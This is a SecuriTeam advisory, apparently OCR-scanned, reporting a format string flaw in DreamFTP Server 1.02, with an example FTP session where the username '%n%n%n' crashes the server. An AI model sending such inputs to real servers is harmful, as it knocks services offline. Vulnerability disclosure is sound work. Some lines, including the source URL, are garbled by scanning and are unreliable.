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The SecuriTeam alerts list — Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

Format String Vulnerability in DreamFTP (User command)

SUMMARY

<http://www.bolintech.com/> Dream FTP Server provides powerful, multi
threaded and robust FTP server performance with a user—friendly and
easy-of-use interfaces. The DreamFTP server suffers from a format string
vulnerability in the USER command.

DETAILS

Vulnerable Systems:
* DreamFTP Server version 1.02

When connecting to the FTP server and supplying %n%n%n for the username,
the FTP server crashes.

Example:

C:\>ftp 192.168.1.101

Connected to 192.168.1.101.

220_ *kkkkkkkhkkkhkkhkkkhkkkhkhkkhhkhkkhkkhkhkkhhkkhikhikx
220-

220- Welcome to Dream FTP Server
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220- Copyright 2002 — 2004

220- BolinTech Inc.

220-

220_ kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
220-

220

User (192.168.1.101:(none)): %n%n%n
Connection closed by remote host.

**Application Crashes**
ADDITIONAL INFORMATION

The information has been provided by
<mailto:badpack3t@security—protocols.com> badpack3t.

The original article can be found at:
<http [IWww. secunty—grotocols com/modules. th’>name News&flle artlcle&3|d 1722>

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:
list—unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe @securiteam.com

DISCLAIMER:

The information in this bulletin is provided "AS 1S" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequenti
loss of business profits or special damages.
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